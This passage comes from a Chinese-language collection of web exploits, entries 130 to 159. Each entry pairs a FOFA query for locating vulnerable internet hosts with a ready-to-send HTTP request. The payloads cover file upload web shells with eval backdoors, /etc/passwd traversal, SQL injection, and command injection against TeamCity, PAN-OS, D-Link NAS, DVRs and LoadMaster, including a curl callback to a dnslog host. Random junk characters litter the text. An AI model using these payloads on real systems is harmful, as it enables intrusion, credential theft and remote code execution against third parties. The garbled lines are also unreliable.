Accept: */*
. ]" m9 w; C  @2 u# jAccept-Encoding: gzip, deflate
Connection: close
, D' O: j0 u; Z/ \

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
7 m3 X/ L% K6 ~  e' hHost: x.x.x.x
# V9 f8 T9 [# P# c1 I+ \  LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- |: ?3 p8 K  S3 C) I$ s- yAccept: */*
Accept-Encoding: gzip, deflate
2 ?6 {1 p2 Z$ w# {/ GConnection: close
$ i) ~1 p% P4 |( m4 n# W$ m9 v$ c5 Duuid: 85f60018-a654-4410-a783-f81cbd5000b9

, P; ~& ?  c) J
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
+ ^6 f: o, {6 P! AHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
+ k& Q8 J. z8 J1 |1 i1 ]+ ?- zX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 d2 K- ^& q& u- ]9 KContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! U9 D* W; q; x, V1 _Cookie: user_name=1; user_id=3
Connection: close

- n( B* F) o* p: h------WebKitFormBoundary3OCVBiwBVsNuB2kR
2 C1 W) S! j. ZContent-Disposition: form-data; name="file"; filename="1.php"
/ [# J1 E' l: \; H/ tContent-Type: image/png

6 p) N" }/ f& N4 c' r: a<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
0 `) x5 T- ]/ ~8 y/ k
1 s6 V/ V( U, |' [$ G* y8 x
$ B, Q$ A( q) R1 z( L2 f# W2 Z131. Mini-Tmall <=20231017 SQL注入
% M. B+ _) F) P5 H' `0 zFOFA：icon_hash="-2087517259"
; P# i9 E0 w2 }* y后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
9 |; S( |+ y+ |, }. `
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
6 x% I7 L/ t" H0 `CVE-2024-27198
8 i) T) b2 u/ G5 a* mFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
: p* d3 s: d4 E! w/ @  b; LHost: 192.168.40.130:8111
/ A$ I; J/ Q9 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
* U* r3 v# ?  s  q) ?) _Content-Type: application/json
9 Z" I- t! a" `5 ?6 K, `+ GAccept-Encoding: gzip, deflate

# p" C; V# [$ k6 a) A6 X. X0 L6 h) k{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
7 C& f6 ]8 B  Q, r! S

CVE-2024-27199
/res/../admin/diagnostic.jsp
  O$ x; s$ v. V! D5 K* m5 q% |" q/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
! e& l" i0 T6 L9 ~  w! w# o$ x/ Q
0 T7 X6 S  ?" G1 D
CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- d" T6 `2 X- s+ h* {1 V! QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
6 p+ M( `! n( s5 |/ O/ V) Y5 i& }% ?Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
! s- T: x4 v! E2 Y* K  w
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
0 t" S* C7 Z% l' u


134. 网康NS-ASG应用安全网关index.php sql注入
/ z+ F( R# f. h& G% RCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
0 k+ p: `9 M! \+ U- fFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
! q; ~4 X$ f8 xAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 \3 w) |1 g3 A5 N; cSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
# f, G$ j$ G5 v: l  ISec-Fetch-Site: same-origin
Te: trailers
6 t8 e6 {# t( V4 lConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

1 Q6 o% r. k5 X2 `5 B0 k1 N( pjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
" e, q4 a5 I2 z; [0 p5 w% p
4 {- d, c! p7 }6 q" Q/ c
. ~: f5 L+ ?1 F( M/ a6 z135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
8 _7 ?' }& @; U0 T" MGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
9 e/ A0 c4 d, D0 u2 ?- T5 X* AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 ]1 C/ x0 n$ A! M6 V  X( |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 R$ G, F1 e. ^6 g( h1 s
; {. x7 D3 K* m+ a
( o' \2 Q0 Z8 G0 a' Z136. NextChat cors SSRF
CVE-2023-49785
0 v1 A3 [: c0 W  a( T* zFOFA：title="NextChat"
1 b. ^& j/ @' H+ b7 h  J( BGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
! z" x9 ?9 }; DHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ Z* J# ?9 O  I; x$ MConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
. p: j+ I0 X& r- c2 K  M0 mCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
+ Y$ ~8 N9 _0 K2 @) {% OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
& b* \8 ^8 z! |5 g5 r8 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# {2 S% i! P- H! _, [) eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& X" `6 y. s& A4 {; }; G2 _Accept-Encoding: gzip, deflate, br
Connection: close
" H! m/ P# m2 GCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
. y- [8 L% n1 |% C2 E1 ^
4 X, ?, n: }# b! g5 J7 D
' h$ S* E  h6 {) L/ q4 C138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
; t, |1 K/ ?- KFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. M# @9 a0 @/ w  xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
% Q0 ]1 ?/ T: {+ w6 w) M$ _Upgrade-Insecure-Requests: 1
! O4 S8 ^0 t+ C! h& }

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
; B$ R% n8 s. C6 h: YFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 M) d. K% j1 m! n* b! rGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
. d8 }; j1 M9 z. U1 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 F1 w) D! [# M" cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 C5 a* K, |/ N# X* aAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


1 \) A; m2 r8 M. h) Z# O- _& i; _140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
% @# m. b! Q& C; A* p4 c2 zFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
4 w% v9 h2 A! C, ^( {" tGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
# n2 [% ^. ~$ i9 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
+ s9 ?2 h* Q) s7 u; i, J, O: X* g
# O' ~8 X, B# g) M, J8 N
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
/ i) e; l; j, h& e3 e4 m9 hFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
8 ]6 P2 ~+ K/ U  d- @, Y# QUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
+ N- c1 f4 |5 @Content-Type: application/x-www-form-urlencoded
0 Q0 ~, K9 U& j# d1 W: H) l

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

/ d+ W) u. Z9 q6 }: b( a1 O; u
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
% W1 [, G: H" ^. ^FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
) Y4 z5 y3 y! M1 |  K/ ~CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
: {9 j) M7 }- A/ g- K, u1 J: B1 I3 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
3 r) q$ R& m1 @7 D: |: vConnection: close
Accept: */*
& {# B+ W4 i% |, L6 \Accept-Language: en
Accept-Encoding: gzip

* W( e/ D5 ?" t1 B3 o9 C: m; a
) {5 x. W9 O( D9 N145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
1 `! l0 q, U: F+ j- H5 U3 ^& wCVE-2024-3400
FOFA：icon_hash="-631559155"
: c6 x) r  w8 ZGET /global-protect/login.esp HTTP/1.1
4 w+ o5 j8 Y: w$ ?8 UHost: 192.168.30.112:1005
/ A- U2 x6 s. S, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
; ~4 G* w; ]; QConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
5 F' r; p2 U% T6 K$ N* cAccept-Encoding: gzip
" _- M8 p% R: T8 Y' n

; P% w# {7 M, Z: s146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
! _5 b8 V' b# N: _FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
; y$ c8 B: C4 m. v" S2 FHost: x.x.x.x
. w! e$ j# |# y  oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
- N5 t& r; y9 lConnection: close
7 v5 x/ a& u, p8 a6 I6 W. \

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
  Y: X  `# G4 `. \. `1 _CVE-2024-32399
3 J& o1 l, y7 b4 u' p6 ]/ j" ZFOFA：body="RaidenMAILD"
; F% Q+ _6 ?: E1 z0 QGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
9 m8 |, A& e% b/ E* q$ S$ W) d) WCache-Control: max-age=0
0 ?. y7 g' s) \* w8 b, x2 FConnection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
( R; b: O; @+ w: j% g2 rFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
4 m( `% a4 i) kFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
. S9 i- N8 S. j, B1 C8 l& }& XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 b1 X9 W% J. tAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
8 \0 ?) n5 {3 \, G4 G
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
9 Z* H. I9 \4 ?2 |7 f( D
& G5 s6 x. e. a- ^150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
9 z2 m" f" C: r+ THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 K/ F- A' X, o: l% y& o* v5 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) ~; l! J1 X* Y4 z5 P/ ^Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

  b. `( G  h2 f+ `5 O{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
' p4 v: ]& N; [/ p7 u$ d" x

! W% G) R! q. K  o) `" Q* M& e0 V151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
: P2 P6 n9 o% ?& mGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
, r/ ?: a7 b5 p7 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 A3 L: F3 ^( t) e+ L  wConnection: close
Accept-Encoding: gzip

6 K% q4 q& E% D! X: a$ ^( V8 k
6 h: B. G6 f' C9 {: Q152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
% l4 X% j3 n2 y! I* ~8 a4 ]LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
3 n( H% r' u, X8 k9 `2 m. GLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
7 q' ~' T% D; O* ]2 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
# [( D$ R8 a2 I2 j0 c' ?3 _: XConnection: close
, l/ [. I9 T: uAccept: */*
Accept-Language: en
4 ^  r% W2 D( V  U+ DAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
" P6 u  ~# E3 n3 P% y. {Accept-Encoding: gzip


9 ]3 O! C: A) `7 X7 m" i) k0 k153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

( A4 f) v& Q+ _$ A# s
' |2 ?2 |( ^7 n$ F) Q6 j第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
* d( n3 m+ j+ m7 D! e6 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
: J4 P" n; |0 t$ v8 J1 O5 G! i8 G( E  OContent-Length: 115
& T8 Z# ]4 z9 UContent-Type: application/json
Accept-Encoding: gzip
* B, Q/ a  t/ S/ f) B
  _  S" o$ L4 o9 E9 t{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
0 q1 b: j% }% z. T; O

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
7 y4 `# r5 e/ e4 ZHost: x.x.x.x
) k9 B  a4 B' ^3 y9 D2 N8 y. z5 R5 xContent-Length: 106
Cache-Control: max-age=0
. b8 ]; j% N% {2 j( pUpgrade-Insecure-Requests: 1
4 i/ E9 d- g7 \1 Y2 q# dOrigin: http://x.x.x.x
Content-Type: application/json
% ], T9 V+ U* z* g+ T, f1 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
; M7 J+ u2 ]# k9 T) v+ lAccept-Encoding: gzip, deflate
% c: V$ `, m0 s. UAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
5 z% w' I% |# _6 @. TConnection: close
7 _* s7 k$ Y) y6 P2 v
5 }2 [7 d4 T! q{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
, V& d+ P( D# X5 Z

155. 六零导航页 file.php 任意文件上传
' E% ]$ I# m1 f$ Z, E7 _CVE-2024-34982
4 [. f& L6 v7 Q9 j1 kFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
( M' j, P% j/ e* [$ S$ f# gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
+ K1 n+ o; W, E7 \Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
1 h; \* B3 k: ?' j$ M+ xAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
* H" }$ O( s1 a7 j
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
# v* y: H. }$ zContent-Type: image/png

/ {1 @  j& C* ?/ ]<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
! s& r8 l) z. a2 S5 Z0 Y

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
& n1 a. [% `8 V; ]
/ B: H: X; Q$ g0 E# J- }156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
  u' S4 a1 y0 f9 z8 J9 m
  o. h" f6 E& q. w. l! S- d: i; F+ q
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- o6 n* `" b/ z% yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: n+ z- X% ?# U5 @: Y: ZContent-Length: 0
" ]1 b/ x; U" f: h/ yCookie: uid=1
- m( b! h2 ^& Z) MAccept-Encoding: gzip
  Z6 ]/ X( Q9 X7 s- h# i* r

/ l2 A4 L+ X2 J5 c" i: s157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
& R. N  ?6 c* d7 OFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
% g# H# l8 \5 V' o& UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
4 X" X0 P5 j; _! @* }Connection: close
& w( s0 X8 e4 o1 f( ~' }  SContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
, `) g7 C$ x' a' bUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
. l* d5 x8 k, P+ mContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
) @  L$ k9 o. e2 tContent-Type: application/octet-stream
, Z! d5 G$ B" [+ X
0 E# O* n% B5 r% W5 E" [nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
; k$ b  q# R6 I: p
! O# C9 J  n6 K7 j* j! F; a; M0 wnull
) V, [0 k, \3 x! K: d* i8 n/ q4 _. I' Z------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
; x2 f+ e9 g- ~. B
( [% C+ w2 x" u( K5 y' O) `null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
* ^- t* v1 \% T! P------WebKitFormBoundary1imovELzPsfzp5dN
, w2 w# C! L7 I8 ]  v3 P, t; BContent-Disposition: form-data; name="filetitile"

null
4 e% p) K9 m3 `4 B( a------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
) U- [1 K8 X; e
null
------WebKitFormBoundary1imovELzPsfzp5dN--
* {+ x& @, X% M) Y4 K. {

7 T- E/ K8 g1 f9 i& nhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
: |. f& T/ Z5 h; V5 a% A/ L
158. Mura-CMS-processAsyncObject存在SQL注入
6 Q9 |$ f' A1 l0 L+ ZCVE-2024-32640
FOFA："Generator: Masa CMS"
5 d2 F: `1 l0 aPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 T& D$ S/ t  X: Z# [; Q: v3 V0 WHost: {{Hostname}}
- E& ^+ `/ Y0 K% J9 PContent-Type: application/x-www-form-urlencoded

! a8 K9 [$ s" H9 G' Sobject=displayregion&contenthistid=x\'&previewid=1

3 _0 H1 O; B8 ~6 s# n8 b
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
, e' B4 p, e% f* w0 M' }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
) r- a) g. t5 p# g; E% gConnection: close
Content-Type: text/xml; charset=utf-8
1 i6 M# m4 T4 @* q6 U7 c5 {Soapaction: "http://rainier/jobUpload"
, |* p5 d0 I: ^  _
8 [" W0 i  _! I6 i<?xml version="1.0" encoding="utf-8"?>
# @( Q! L* }2 B9 @( R* j<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
( ?9 [! i7 }& F" ?1 ~<jobUpload xmlns="http://rainier">
# @9 ~) f0 @  O- L0 ?<vcode>1</vcode>
  d2 F4 b. Q3 _" f5 e0 \/ \<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
